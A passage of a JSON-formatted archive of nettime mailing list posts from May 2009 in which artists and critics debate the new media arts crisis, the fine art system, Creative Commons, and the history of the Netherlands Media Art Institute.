                                "content": "\nHi Florian,\n\nMy apologies for a slightly delayed response. I completely agree that\nthere are aspects within the art world which need critical scrutiny. I\nwas simply asking for specificity, and I appreciate that you've taken\nthe time to clarify.\n\n> But unlike other culture industries, the contemporary (Fine) Art\n> system often falsely believes in its own autonomy.\n\nI wonder if this is true. Feminist/post colonial practices have often\nargued the opposite and with much efficacy. Think of Jean Fisher's\ncritical texts, Adrian Piper's work and Lucy Lippard's writing and\ncuratorial projects and even the recent educational department at\nGoldsmiths of Irit Rogoff; all of these practices seem to point to an\nart world/system which is political, embodied and implicated.\n\n> And it's my general experience and opinion that the art I'm\n> more interested in is more often than not to be found in places\n> outside that system. In the 1960s, this was true for Fluxus and\n> Situationism, in the 1970s and 1980s for the Mail Art Network and\n> postpunk, and in the 1990s for Net.art, the Luther Blissett project\n> or the alternative pornography movement.\n\nI'm also interested these movements, practices, antics/pranktics,\nbut unlike you, I see them as a part of a complex and multifaceted\nart world (not outside of it). I find it problematic to define the\nsystem as only popular art mags, the market and large institutions\nwhen there's so much other interesting work going on. (not to mention,\nhow would you classify those of us involved in art education?)\n\n> Today, to speak in terms of our both hometown Rotterdam, I'm finding\n> the interesting contemporary arts at places like WORM and De Player\n> and only rarely at Witte de With, for example.\n\nYes, here we can look into specific curatorial approaches and talk\nabout who these various institutions and orgs are addressing. (this\ntakes more time than I have now... but I'm nonetheless interested in\nexploring this further at a later juncture) >> > Indeed. It's just\nthat the particular art world I mentioned above > - and which can\nbe roughly described as the art world of the many > biennials, the\nDocumenta, contemporary art spaces like PS.1 and KW, > contemporary\nart journals like October, Texte zur Kunst, Springerin > and\nMetropolis M, too often monopolizes the term \"art\" for the art > that\nit represents. Admittedly, its system can be permissive and > include\n'outside' practices, particularly when a curatorial subject > requires\nit. However, it would be possible to map the institutions > mentioned\nabove just by the overlap of the people they involve, > and come up\nwith a fairly good representation of what makes up > contemporary art.\n\nI agree, this *is* truly the crux.  It's crucial to map the overlap of  \npeople/institutions and ask ourselves who's setting the agenda, who's  \ncontrolling the funding and whose *corner* of art world is being  \nrepresented, and moreover, what do these representations make  \nimpossible, meaning what do they render invisible.\n\n\n> They same is true, no doubt, if you take ars electronica,\n> transmediale and ISEA, plus Leonardo, Neural, Rhizome and Nettime,\n> ZKM and ICC Tokyo, and pin down the system \"media art\". But just\n> as that latter system is now being - deservedly - questioned and\n> undergoing a huge if not terminal structural crisis, I think it is\n> as legitimate to question the contemporary Fine Art system, and the\n> Western concept of autonomous art.\n\nIt's absolutely legitimate to question art's autonomy, and it's been\nhappening for some time now. Besides the previous examples listed\nabove, recently there has been much debate about the proliferation of\nbiennials how art feeds into a neoliberal agenda.\n\n> So, going back to Geert's initial report about the discussion about\n> the crisis of \"Media Art\" at Montevideo Amsterdam, I think that it\n> can't be a solution to integrate a very questionable \"media art\"\n> system into an equally questionable contemporary art system. [As it\n> is now happening, in education, too, for example in the Zurich art\n> school media department where Felix Stalder teaches, and where the\n> media programme has been rolled back into Fine Art on the Master\n> level.]\n\nIn many respects this cycle has happened to photography (remember\nwhen John Tagg wrote that no history of art photography could be\nwritten without taking into account, pornography, daguerreotypes,\npropaganda and family snapshots.) Or video's roots in activism,\nhome videos, street journalism (Martha Rosler's essay: Shedding the\nUtopian Moment).... there's much to learn from these histories of\nassimilation. It's important to look at how institutionalization\n\"tames\" media...disciplines the discipline. But while questioning the\nsystems of Fine Art, Media Art etc, I think as producers, viewers,\neducators and implicated accomplices, it's imperative to ask what do\nwe want to see happen or change.\n\nAs a graduate student in the eighties, I was taught by Harmony\nHammond, a painter and co-founder of Heresies. In her painting\nclass, she reserved time to present her personal collection of\nartists' works she felt were under-represented by the mainstream art\nworld. It was a small but extremely powerful gesture. Eventually, in\n2000 the collection was published under the title, Lesbian Art in\nAmerica: A Contemporary History. I learned much from Harmony, but\nthe most influential part of her teaching was watching her practice\n*otherwise*.\n\nSo in this context, I'm asking myself how can I/we practice\n*otherwise* and how might that *doing* nudge or broaden the scope of\ndominant discourses and visual regimes.\n\nbest,\n\nRenee\nhttp://www.geuzen.org/\nhttp://www.fudgethefacts.com/\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00075",
                                "date": "Mon, 25 May 2009 13:37:41 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20C7E909&#45;1381&#45;4CB2&#45;963B&#45;40479902EC2E {AT} xs4all.nl",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00075.html",
                                "content-type": "text/plai",
                                "author_name": "Renee Turner",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            }
                        ],
                        "from": "Renee Turner <geuzen {AT} xs4all.nl>",
                        "content": "\nHi Florian,\n\nYou point towards a classic issue, the relevance of context. What do\ndifferent registers (fine art, media art, design, activism, popular\nculture etc.) give to a particular work and what does a categorization\nexclude, meaning what does it make *impossible*. Every register\ninfluences interpretation, (in)visibility, production and funding.\n\n> Since the 1990s, the so-called Fine Arts do provide no really\n> desirable environment either, likely they're even worse. It is\n> telling enough that the term \"Fine Art\" suddenly has become a\n> universally accepted standard while, not a long time ago, any\n> self-respecting contemporary artist would have fiercely rejected\n> if not opposed it. In the past ten years of reading contemporary\n> art magazines or visiting art biennales and Documentas, I've been\n> flabbergasted by the lack of vision and radicalism in this field. It\n> has morphed, somewhat comparable to New (composed) Music after the\n> 1960s, into an academic discourse ruled by a neo-bourgeois jet set\n> of hipster curators posing as cultural theorists on the basis of a\n> not-even-half-baked knowledge and recycling of postmodern philosophy\n> and cultural studies. The system consists of artists who have been\n> academically trained to produce works - along with non-understood\n> theory lingo - that fit the required curatorial buzz.\n\nCan you speak more specifically about which curators, what art\neducational programs, which artists and what practices? For a\nconstructive debate, it's important to avoid caricatures, otherwise\nthere's a risk of creating false enemies, or missing out on how to\nbest counter the real ones.\n\nAnd as an aside, I have to admit when I read \"not-even-half-baked\nknowledge\" and \"non-understood, I caught myself wondering who are\nthe guardians of proper interpretation when it comes to theory. (not\nto mention, which theories) After all, couldn't theory be mutable in\ndifferent contexts or even hackable? In other words, can it too be\npracticed, tested and changed once it hits the ground or encounters a\nspecific situation or discipline?\n\n> Along with this development, the paradigm of the white cube and art\n> works as good-looking exhibition objects has become stronger than\n> ever before and rules out any art practice not fitting this format.\n\nIt's true the white cube is a dominant force to be reckoned\nwith (or not, depending on what art world you dwell in ;-), but\ninterventionists/social/political practices have also continued....\n(both of the digital and analog sort). You mention UBERMORGEN, and I\nwould add The Temporary Travel Office, SubRosa, Mongrel, AUDC, Jorge\nBlasco's Cultures of the Archive, Marcelo Exposito's various projects,\nThe Center for Land Use Interpretation, Beatriz da Costa and others...\nMaybe \"tactical\" is a red thread through these works?\n\n> All the while, the system thrives on the delusion that it still\n> represents visual art as a whole although, unlike, for example, in\n> film where 'highbrow' and 'lowbrow' still coexist, its popular forms\n> like comic books, tattoos, fantasy figurines, t-shirt illustrations,\n> wildlife paintings... have long been excluded from its system.\n>\n\nhmmmm....not sure about this, having worked as a hybrid artist/\ndesigner/curator/media artist/collaborator for some time now, again\nI reiterate that there are many different artworlds (and for that\nmatter artists/inhabitants/vagrants). Sometimes they intersect, rub\nnext to each other, come into agitation or simply run on parallel\ntracks. (Not too disimilar from the so-called new media world.) Think\nof open source practitioners, the Max/Flash folk, and those that poach\nthe web's detritus for their own purposes, they're all a part of new\nmedia arts, but each tend to dwell in different corners of the digital\nuniverse (or maybe not, if you're one of those cross-pollinators :-)\n\n> Instead, we get artists like Mike Kelley all over the art\n> world in whose work I'm either not getting something or indeed\n> seeing the Emperor's new clothes. (\"Review\" babble like\n> http://www.frieze.com/issue/article/tomorrow_never_comes1/ affirms\n> the suspicion that the art world has no clue either.)\n\nI haven't seen this particular work so hesitate to judge. I do however\nfind it a little problematic to make sweeping statements about the\nEmperor's New Clothes and the \"art world's\" cluelessness based on one\nreview and one artist.\n\n\n>> Director Heiner Holtappels opened by noticing that new media art\n>> is not easily accepted by fine art. Traditional art has become\n>> eclecticism. According to Heiner, all art is technology based.\n>\n> This is true, yet contemporary art has mostly given up on reflecting\n> its media. [I can almost hear an iPhone-wearing curator saying that\n> reflecting one's media is outmoded modernism.]\n\nouch, how stereotypes do prevail. I wonder if there would be a\nparadigm shift if he/she had been envisioned with a pre-paid nokia.\n;-)\n\n\nRenee\nhttp://www.geuzen.org/\nhttp://www.fudgethefacts.com/\nhttp://www.geuzen.org/female_icons/\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00046",
                        "date": "Fri, 15 May 2009 18:07:37 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "5A46D3F4&#45;5F13&#45;4C5B&#45;97B1&#45;5327677F5920 {AT} xs4all.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00046.html",
                        "content-type": "text/plai",
                        "author_name": "Renee Turner",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "jaromil <jaromil {AT} dyne.org>",
                        "content": "\n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n\nre all,\n\nfirst of all  thanks Matze for your consideration  of my activity, but\nlet me  warn you are  overestimating the benefits of  my collaboration\nwith Montevideo / Time Based  Arts ...  which is now called Nederlands\nInstituut voor Mediakunst  (NIMK, BTW): it takes more  to be \"rescuing\nthe middle-class fantasies  of a free arty market  of software\" as you\nsay, if  we speak of a national  institute that started in  a squat in\nAmsterdam 30 years  ago and has seen a  constant flow of contributions\nby various people  through all these years, most  of them really worth\nconsidering.\n\nOn Fri, May 15, 2009 at 05:23:12PM +0200, Matze Schmidt wrote:\n> I'd  like  to  point  out  at  this  point  that  institutions  like\n> Montevideo are revolutionizers of money, e.g. they payed Jaromil for\n> working on dynebolican stuff\n\nif it  would be just the  action of redistribution of  wealth, then it\nwouldn't  be   revolutionary  at  all.   Some   artists  produced  and\ndistributed  by Montevideo did  became rich,  but for  them Montevideo\nmostly contributed to the  production quality of their artworks rather\nthan direct funding.\n\njust consider that  if my lifestyle would be  \"middle-class fantasy\" i\ncould  not afford  to  sustainably  live in  Amsterdam  relying on  my\ncurrent employment, but lucky me i'm not a yuppie :) and i'm fine like\nthat.  for the  minimum support i get, needed as i  care to support me\nand my extended  family when needed, i have to do  much more than just\ndeveloping \"my own projects\", but still all results can be free to the\npublic,: that shouldn't be special for a public institution, right?  i\nbelieve this is the good signal  NIMK gives - not such a revolutionary\none, but pretty honest: there  are often various degrees of corruption\nleading   public  institutions  to   play  commercially   with  public\nresources.\n\nother  than that,  we can  call \"progressive  attitude\" -  rather than\nrevolutionary\" -  when institutions are keen to  interact with liminal\ncontexts,  with dwellers on  the dystopian  hearth pulsating  in every\nmetropolis of our \"Free Western World\".  This kind of interaction (and\nthe respect for the uncommon ground  in between) is indeed part of the\nheritage of  a city like Mokum  A - unfortunately  decaying rapidly as\nEurope is turning  into a Fortress for the  privileged and their fears\nof the disinherited children of the welfare mirage.\n\nat last  about the  interaction i  mention here: i'm  not sure  how to\ndefine it,  its likely  not a negotiation  nor a compromise,  i'm just\nsure  it is  necessary in  any case:  whether we  accept  the upcoming\ninstitutionalised  \"Reinvent  Yourself\"  strategy  or  not.   I  would\nrecommend  a  case-by-case  analysis  in  this  regards,  rather  than\nthinking universally... like institutions often do ;^)\n\nregarding your vague critiques let me reply:\n\n> with all effects of an open source software\"z\" driven by the mediate\n> support of the state.\n\ndyne.org  development  is not  driven  by  any  state, corporation  or\ninstitution rather  than by the  many problems these  power structures\ngenerate.  we  dedicate most  of our free  time to peer  reviewed free\nsoftware  development  in  socially  relevant  contexts  (please  note\n\"development\", not  provision of services)  and as hackers  we operate\npragmatically, on-line as well in various different on-site contexts.\n\n> But  while talking  to them  some  years ago  the Montevideo  people\n> turned out  to be  very naive in  political questions. They  have no\n> idea about  economy and  no idea of  what is  going on out  of their\n> field. That's  okay, as  long as they  incorporate all  folklore and\n> avantgarde at the sam time, because it is their mandate and mission.\n\ni'd  be  curious  to  know  what  you  consider  \"naive  in  political\nquestions\": myself  i've felt  enriched by the  past 4 and  more years\nspent  in  Amsterdam,  by my  colleagues  at  NIMK  (which is  not  so\nuniformed in its  composition BTW) as well by  the squatters in A'dam,\nfrom De Bierkoning to the Waag Society.\n\nbacking my  objection, i'll point you  out some coverage  on NIMK's 30\nyears symposium (just happened last week):\n\nhttp://www.we-make-money-not-art.com/archives/2009/05/the-netherlands-media-art-inst.php\n\npasting  you  here  the  transcription  of  my  intervention  at  this\nsymposium,  let  it  be   also  a  contribution  to  this  interesting\ndiscussion thread:\n\n                            ------------\n\nAt the NIMK's symposium \"Positions in Flux\" I've taken the occasion to\nshare thoughts  on the  current perception of  Free Software  and Open\nSource philosophy  in art,  along with some  overdue criticism  of the\nCreative Commons hollow  hype, as well of the  Creative Industries and\ntheir systematised processing  of art for the global  market.  Even if\nnot  obvious, I  believe the  dynamics  of these  two phenomenons  are\nrelated; among the quoted in the intervention are Benjamin Mako Hill's\n\"Towards a Standard of  Freedom: CreativeCommons and the Free Software\nMovement\"[1] and Florian Cramer's post on nettime \"The Creative Common\nMisunderstanding\"[2],  while  the vigorous  critique  of the  Creative\nIndustries  stands on  Rana Dasgupta's  essay  \"The Next  Idea of  the\nArtist  (Art,   music  and  the  present   threat  of  creativity)\"[3]\n\n\nHere below a short transcript:\n\n\"Open Source\" doesn't mean free access, nor open space or open air; it\npresumes  a  seamful[4]  approach  to  design as  a  response  to  the\nincreasing  reliance  on  technology  and  its  accessibility;  it  is\ninteractive without prescribed  boundaries, following a combinatorial,\ngenerative approachto development;  it is peer to peer  as no producer\ncan control further interaction patterns; it is grassroot as creations\nare  born out  of  initiative and  cohesion  based on  needs felt  and\nunderstood in first person by community members.\n\nAbout  Creative  Commons, its  motto  \"Some  rights  reserved.\"  is  a\nrelatively  hollow  call:  the  slogan  factually  reverses  the  Free\nSoftware and Open Source philosophy  of reserving rights to users, not\ncopyright owners,  in order  to allow the  former to  become producers\nthemselves. The dis/appropriating loop of creativity must be recursive\nto be  fruitful: not only  productionmeans belong to the  people using\nthem, further creations  should be free to be  recombined. rights must\nbe granted  focusing on people  interacting, not just  those providing\nthe interactive infrastructure.\n\nUnfortunately there  is a diffuse lack of  perception for alternatives\noffered by  the Open  Source and Free  Software approach  over current\nprofit models.  As  a present problem, also deriving  from the lack of\nunderstanding  of the  importance of  grass-root  creativity, top-down\ncultural   management  is   patronising   art  production:   massmedia\naesthetics of  an entirely sanitised and efficient  creativity, of the\nsort  that will  not  rely on  unstable  people and  can therefore  be\nglobally rationalised.\n\nThat the  great artists of  modern Western culture managed  to produce\nwhat they  did, despitethe danger  and intensity of their  effort, was\ndue in large  part to improvised social forms  built around close-knit\nnetworks  where  thought and  affect  circulated  with high  velocity,\nandwhere it  was possible to  try out forms of  non-conventional human\nrelationships that would  not destroy, nor be destroyed  by, a life of\nart. Seen  from an historical perspective,  In the second  half of the\ntwentieth  century many  of the  functions of  creative  networks were\nalready  taken  over in  Europe  by  institutions (government  funding\nbodies,  universities,  museums,  etc)  and much  of  their  excessive\nfeeling  wasneutralised. This  was  only  a small  part  of a  general\nprocess of the time: the absorption of human emotion into bureaucratic\nchannels,  and the  emergence of  a social  coolness,  anefficiency of\nfeeling.\n\nAt this  stage in the  twenty-first century, we  are in the  middle of\nanother   large-scale  restructuring  of   ideas  of   creativity  and\nculture. As one of the most significant generators of image and value,\ncreativity now has become a  critical resource for the global economic\nengine.   What creativity  is,  and  how it  can  be systematised  and\ncirculated, are therefore  urgent questions of contemporary capitalist\norganisation.   As  cultural  producers   are  thrust  into  the  full\nintensity of  globally dispersed, just-in-time  production, new images\nof creative inspiration and output are required that sit tidily within\nthe systematised  processes of the  global market. Creativity  must be\nrendered comprehensible,  transparent and rational: there  can be none\nof  the destructive  excesses  evident in  the  lives of  many of  the\ngreatest  artists  of  European  history.  Creativity  must  circulate\ncleanly and quickly, and it  should leave no dirty remainder. For what\ninterests Hollywood, and the market in general, is not creativity as a\ncomplex human  process, weighed down  in bodies and  relationships and\nempty days,  but creativity as  an abstraction, free  of irrationality\nand  pain, and  light enough  to  hover like  a great  logo above  the\ncontinents.\n\nPerhaps, as the logic  of systematised production occupies the terrain\nof human  creativitymore completely,  we will reach  a stage  where we\nsurrender  all knowledge  about  this troubling  domain,  and it  will\nbecome entirely alien  to us. Perhaps one day we  will be terrified of\nwhat  explosive dangers  might rise  up from  the creativity  of human\nbeings.\n\n[1] http://mako.cc/writing/toward_a_standard_of_freedom.html\n\n[2] http://www.nettime.org/Lists-Archives/nettime-l-0610/msg00025.html\n\n[3] http://ranadasgupta.com/texts.asp?text_id=45\n\n[4] http://www.themobilecity.nl/2008/01/05/designing-for-locative-media-seamless-or-seamful-experiences/\n\n\n- -- \n\njaromil, dyne.org developer, http://jaromil.dyne.org\n\nGPG: 779F E8B5 47C7 3A89 4112  64D0 7B64 3184 B534 0B5E\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.9 (GNU/Linux)\n\niEYEARECAAYFAkoP/aAACgkQe2QxhLU0C15y4ACeKYaj8pNKu7lS/Z1sIuVUtbfL\nmBUAn2h7gwq7AN0Gsv+lgidMWqZoga1q\n=Skrp\n-----END PGP SIGNATURE-----\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00047",
                        "date": "Sun, 17 May 2009 14:05:54 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20090517120554.GA4808 {AT} dyne.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00047.html",
                        "content-type": "text/plai",
                        "author_name": "jaromil",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "\"xname\" <root {AT} xname.cc>",
                        "content": "> jaromil said:\n> Montevideo / Time Based  Arts ...  which is now called Nederlands\n> Instituut voor Mediakunst  (NIMK, BTW)\n> if  we speak of a national  institute that started in  a squat in\n> Amsterdam 30 years  ago\n\nHello.\n\nI did not remember that the 'Nimk' was started in a squat: isn't this the\nstory of Paradiso and Melkweg?\n\nAs far as I know the 'Netherlands Media Art Institute' was born when\n'Monte Video' and 'Time Based Arts' merged (1993).\n\nMonte Video was founded by Ren\u00e9 Coelho in 1978, and initially operated\nfrom his house in Amsterdam. (was that squatted? I tend to doubt.)\nMonte Video focused on video art and provided equipment for producing\nworks and space to show them (soon collecting and distributing...\nvideo-tapes!).\n\nTime Based Arts was founded in 1983 by the Association of Video Artists,\nso it was an artists run association creating a network for distribution;\nit was more performance oriented than Monte Video, according to the story\nthat was narrated to me, and which I deduced from the collection. (Can\nanyone confirm this, please?)\nWere they squatting? But they were getting funding...\nI am somewhat curious.\n\nMaybe other people on this list know more.\n\nThere is a page of history on the nimk.nl, but i saw no wikipedia entry on\nthis topic.\nI find the *story of this institute quite beautiful and paradigmatic in\nthe development of the (non-linear) chain of media mutations (which could\noff course be expanded):\n\nhappening/performance (art=life)\nelectronic art\nvideo-art (art=registration)\nmedia-art, software-art (art=simulation)\n\nI paste it below.\n\nBest,\nEleonora\n\n===\n\n**History**\n\n1978\nMonte Video is founded by Ren\u00e9 Coelho. From his home on the Singel in\nAmsterdam he makes equipment and documentation available, and furnishes\none room as a gallery. The first video artist whose work is shown here on\nthe Singel was Livinus van de Bundt, Coelho's inspiration. Other artists,\nsuch as Bill Viola, Gary Hill, Shelly Silver and Gabor Body, soon make\ncontact. It is not long before Monte Video has a large selection of works\navailable for rental.\n\n1983\nThanks to government funding Monte Video is able to move to Amsterdam\nNorth. There is now sufficient space to offer regular presentations. Not\nonly Dutch artists, but also those from other countries are given a chance\nto show their videos or installations.\n\n1986\nGovernment funding received by Monte Video is cut back to almost nothing.\nMonte Video does receive several small transitional grants from the city\nof Amsterdam.\nTime Based Arts, which had been founded in 1983 by the Association of\nVideo Artists, is fast becoming well-known as a distributor of video art,\nand continues receiving government funding.\n\n1986-1993\nRen\u00e9 Coelho continues on his own. Monte Video moves back to his home on\nthe Singel. The acquisition of production facilities, distribution,\ndocumentation and promotion goes on, financed from his own income and by\norganizing large projects. One of these, as an example, was 'Imago', an\nexhibition of Dutch video installations which toured worldwide for five\nyears beginning in 1990. There were also plans laid for the first\nconservation programs for video art.\nThe chairman of Time Based Arts, Aart van Barneveld, died; his death was\nfollowed by many conflicts within the organization. In the early 1990s\nTime Based Arts also lost its subsidies and threatened to go under. Monte\nVideo and Time Based Arts decide to provide a joint art program for\nAmsterdam cable TV, Channel Zero.\n\n1993\nTime Based Arts merges with Monte Video. Their work is continued under the\nnew name of Netherlands Media Art Institute, Montevideo/Time Based Arts.\nThis fusion does free up national funding. In both 1997 and 2001 the\ngrants are expanded and converted into a structural subsidy for four\nyears.\n\n1993-2002\nThe Netherlands Media Art Institute moves twice, in 1994 to the Spuistraat\nand in 1997 to its present location on the Keizersgracht.\nThe Institute continues to grow through these years, and adopts the\nfollowing mission statement: The Netherlands Media Art Institute supports\nmedia art in three core areas: presentation, research and conservation. At\nthe same time, through its facilities it offers extensive services for\nartists and art institutions. Among these services are educational\nprograms, to be developed to accompany all activities.\n\nand\n\n**History of the Collection**\n\nThe collection of the Netherlands Media Art Institute, Montevideo/Time\nBased Arts reflects the turbulent history of the Institute. In addition to\nthe collection of Monte Video, the predecessor of the Netherlands Media\nArt Institute, the Institute administers the collections of four\ninstitutions: the Lijnbaan Center (1970-1982), Time Based Arts\n(1983-1994), De Appel (1975-1983) and the Institute Collection\nNetherlands. This combination of artists' initiatives (Time Based Arts, De\nAppel and the Lijnbaan Center) and more formal institutions (Institute\nCollection Netherlands and the present Netherlands Media Art Institute)\naffords the collection a surprising diversity. In addition to renowned\nartists like Bill Viola, Nam June Paik and Gary Hill (who were represented\nin the collection as far back as the 1970s), there are internationally\nknown Dutch artists who experimented with the medium for only a short\nperiod in the 1970s, such as Marinus Boezem, Jan van Munster and Pieter\nEngels.\nBefore any institutions at all had yet been created for the purpose of\ncollecting small centers were set up in various parts of The Netherlands\nwhich facilitated and promoted the use of video by and for artists. The\nearliest examples of this were Agora Studios in Maastricht, the Lijnbaan\nCenter in Rotterdam (itself a merger of the studio of Venster in Rotterdam\nand the video studio which was set up for the Sonsbeek exhibition in 1971\nin Arnhem), and a couple of individuals such as the artists Miguel-\u00c1ngel\nC\u00e1rdenas and Jack Moore in Amsterdam, who made their cameras available for\nother artists. Many of the works which were made in this earliest period\nof Dutch video art only surfaced from oblivion in the course of the 1990s.\nSurprising discoveries among them are the works of Dennis Oppenheim, Terry\nFox, Wim Gijzen, Nan Hoover and Tajiri.\n\nWith the arrival of the collection of De Appel an enormously rich\ncollection of video records of performances was added. De Appel flourished\nin the 1970s as one of the most progressive international work sites for\nperformance art. The collection of this institution contained unique works\nby Vito Acconci, Laurie Anderson, Gina Pane, Carolee Schneemann and\nothers. But in addition to records of events in her own gallery, Wies\nSmalls, the founder of De Appel, also built up a collection of\ninternational video art in order to enable the Dutch public to become\nacquainted with what was happening internationally, including work by\nDouglas Davis, Ulrike Rosenbach, Joan Jonas and Alison Knowles.\n\nIn the early 1980s, with De Appel as its base, efforts were begun to\nestablish an association for video artists, which later created the Time\nBased Arts Foundation. The collection of this artists' association, in\naddition to works by artists based in The Netherlands, such as\nAbramovic/Ulay, Hooykaas/Stansfield, Ben d'Armagnac, Christine Chiffrun\nand Lydia Schouten, also included work by international artists like Mona\nHatoum and General Idea.\nTime Based Arts maintained an active collection policy, in which any\nartist who worked with video could try to have his or her work included in\nthe collection. As it grew the collection became enormously diverse and\nafforded a good overview of the various ways that video could be employed\nin the visual arts. Through in to the 1990s Time Based Arts played an\nimportant role in the collection, distribution and support of video art\nuntil, in 1994, under pressure from the municipal authorities of\nAmsterdam, it entered into a merger with Monte Video.\n\nRen\u00e9 Coelho began his video gallery Monte Video in 1978, and in doing so\nlaid the foundation for the present Institute. Monte Video was a gallery\nwhich specialized in electronic art and especially in video art that\nsought out the creative possibilities and qualities of the medium itself.\nAn important impetus for establishing the institution was the work of the\nDutch video pioneer Livinus van de Bundt. He was therefore the first\nartist to be shown in the gallery. Later the Vasulkas, Bert Schutter,\nPeter Bogers, Matthew Schlanger and many others followed. In addition to\nthe works that were to be seen in the gallery, Monte Video began to be\nactive in collecting and distributing work. Bill Viola, Gary Hill, Shelly\nSilver and Gabor Body were for instance artists who 'stabled' their work\nwith Monte Video. The gallery owed its international success chiefly to\nthis. When in the 1990s the conservation of video works became a pressing\nproblem, the then merged Montevideo/Time Based Arts established itself as\nthe goad and later as the center of technical expertise for carrying out\nthe Conservation of Dutch Video Art project. As well as the collections\ndescribed above, there was integral cooperation with museums that over the\ncourse of time had also collected video work. In addition to much\ntechnical research, the conservation efforts also prompted considerable\nrecording work and research into content. Among questions dealt with were\nthe status of the vehicle, the significance of the material chosen and\nestablishing the boundary conditions for proper exhibition. Because of the\ndifferences in approach among the institutions from which they came,\nconsiderable time was spent integrating the collections with one another,\nand getting the possibilities for the use of the works coordinated with\none another. But now, with the end of the conservation project in sight,\nthe gaps between the collections appear to be closing ever more, and we\ncan proudly present our multi-faceted collection to the public, as we do\nhere.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00050",
                        "date": "Sun, 17 May 2009 15:40:16 +0200 (CEST)",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "3266070d80132b99ebf3351b5cb71455.squirrel {AT} tuxic.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00050.html",
                        "content-type": "text/plai",
                        "author_name": "xname",
                        "subject": "Re: <nettime> Media Mutations - Life | Registration | Simulation (was: Political Work in the Aftermath of the New Media Arts Crisis)"
                    },
                    {
                        "from": "Matze Schmidt <matze.schmidt {AT} n0name.de>",
                        "content": ">> [...] Arts\n\n> what art\n\n> True, art\n\nIn short: No money (as one of the forms of profit) without art, no art\nwithout politics. This is a simple formula and any Baudrillard would\nhave secretly subcribed this, even in an epoch of ended (Hegel and \nfollowers) or never realized (Debord and followers) art. The fact is,\nwe* don't need art as art, but -- and someone like jaromil shows this\nto us** -- we need other conditions, as painting, code or video or\ndiy-cooking if you like, I don't care -- changing media is always good.\nBut we are not able to produce the conditions 'now' -- like someone like\njaromil is may thinking -- because the conditions produce us, alienate\nus; they will allways produce us (products produce consumption and vice\nversa), but these conditions are (straightforward now) have to be\nuncaged from ruling modes of production, in the meant sector reproduced\nby national institutions (ZKM in Germany, Ex-Montevideo in NL, your\npersonal MTV at home). The New Media Arts Crisis is not my crisis, It's\njust the crisis of the middle-class (Yuppie or not, fallen programmer or\nrising video-installer) in form of some arts with newer or older media,\nmay it a t-shirt or an lcd. So there is no aftermath here but the\neffects of a mixed up (I love this status and condition) highbrow, baby!\nelite meshed with an alternative \"green\" and independent buisness party\nwith no idea of real coding out there (forget networks, they are roped\nparties).\n__________\n* and ** Me, I and you as the readers who follows this text.\n\nM\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00059",
                        "date": "Mon, 18 May 2009 11:22:02 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "1739011317.20090518112202 {AT} n0name.",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00059.html",
                        "content-type": "text/plai",
                        "author_name": "Matze Schmidt",
                        "subject": "Re: <nettime> Media Mutations - Life | Registration | Simulation\t(was: Political Work in the Aftermath of the New Media Arts Crisis)"
                    },
                    {
                        "from": "lorian Cramer <fc-nettime {AT} pleintekst.nl>",
                        "content": "\nHey Renee,\n \n> You point towards a classic issue, the relevance of context. What do\n> different registers (fine art, media art, design, activism, popular\n> culture etc.) give to a particular work and what does a categorization\n> exclude, meaning what does it make *impossible*. Every register\n> influences interpretation, (in)visibility, production and funding.\n\nYeah, and inevitably, these registers are not just different chosen\nperspectives we have on particular works, but also institutional and\ndisciplinary contexts in which workers have to put their work and\nwhose written and unwritten rules they can't avoid abiding.\n\n> Can you speak more specifically about which curators, what art\n> educational programs, which artists and what practices?\n\nI was really thinking of the contemporary art system as it has been\ndescribed by its own protagonists, for example in Isabelle Graw's\n2008 book \"Der grosse Preis\", or has been analyzed, with means that\nreally deserve the term \"artistic research\", by Hans Haacke as early\nas in the 1970s in such pieces as \"The Chocolate Master\". And many\npeople have criticized that system from within, from Henry Flynt in\nthe 1960s to the writer and \"Thing Hamburg\"-blogger Michel Chevalier\ntoday. I think it is legitimate to make a sweepingly general critique\nof the contemporary art system just as it is legitimate to generally\ncriticize and attack the music industry and contemporary popular music\nsystem for example. That doesn't mean that there would be absolutely\nno good music coming out of that system. But unlike other culture\nindustries, the contemporary (Fine) Art system often falsely believes\nin its own autonomy. And it's my general experience and 